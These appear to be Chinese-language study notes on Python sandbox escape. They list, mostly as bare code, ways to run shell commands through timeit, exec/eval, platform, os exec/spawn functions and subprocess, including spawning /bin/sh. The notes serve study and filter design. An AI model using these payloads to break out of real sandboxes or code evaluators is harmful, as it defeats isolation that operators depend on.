关联:Python安全总览、沙箱逃逸基础
终极目标
了解沙箱逃逸的目标才能有的放矢,沙箱逃逸的目标是执行 shell 、读写文件或者获取环境信息如环境变量等
命令执行
timeit 模块
核心功能是运行你提供的代码片段多次并计时。所以会造成命令执行
>>>import timeit
>>>timeit.timeit(stmt='pass', setup='pass', timer=<default timer>, number=1000000, globals=None)
-
stmt(statement): 要测量的代码片段(字符串或可调用对象)。 -
setup(setup): 在测量前执行的代码,用于初始化环境(仅执行一次)。
import timeit
timeit.timeit("__import__('os').system('ls')",number=1)exec 函数
exec('__import__("os").system("ls")')eval函数
eval('__import__("os").system("ls")')eval执行多行命令:
eval(compile('__import__("os").system("ls")', '<string>', 'exec'))platform 模块
platform 的功能是获取系统信息,所以导入了os,sys等模块,所以可以用来rce
import platform
platform.sys.modules['os'].system('ls')
platform.os.system('ls')os模块
-
os.system—无回显(回显状态码,0为执行成功)
-
os.popen—有回显
-
os.posix_spawn—更底层的进程创建函数
-
os.exec*—新进程替换
-
os.spawn*—创建新进程
-
os.fork()—复制当前进程
import os
os.system('ls')
__import__('os').system('ls')
os.popen("ls").read()
os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)
os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)
#os.spawnv--一个个传
os.spawnv(0,"/bin/ls", ["ls", "-l"])
#os.spawnl--列表模式
os.spawnl(0,'/bin/ls','ls','-l','/')import os
# os.execl
os.execl('/bin/sh', 'xx')
__import__('os').execl('/bin/sh', 'xx')
# os.execle
os.execle('/bin/sh', 'xx', os.environ)
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)
# os.execlp
os.execlp('sh', 'xx')
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)
# os.execlpe
os.execlpe('sh', 'xx', os.environ)
__import__('os').execlpe('sh', 'xx', __import__('os').environ)
# os.execv
os.execv('/bin/sh', ['xx'])
__import__('os').execv('/bin/sh', ['xx'])
# os.execve
os.execve('/bin/sh', ['xx'], os.environ)
__import__('os').execve('/bin/sh', ['xx'], __import__('os').environ)
# os.execvp
os.execvp('sh', ['xx'])
__import__('os').execvp('sh', ['xx'])
# os.execvpe
os.execvpe('sh', ['xx'], os.environ)
__import__('os').execvpe('sh', ['xx'], __import__('os').environ)# os.fork() with os.exec*()
(__import__('os').fork() == 0) and __import__('os').system('ls')subprocess 模块
import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()
# python2
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
__import__('subprocess').Popen('whoami', shell=True)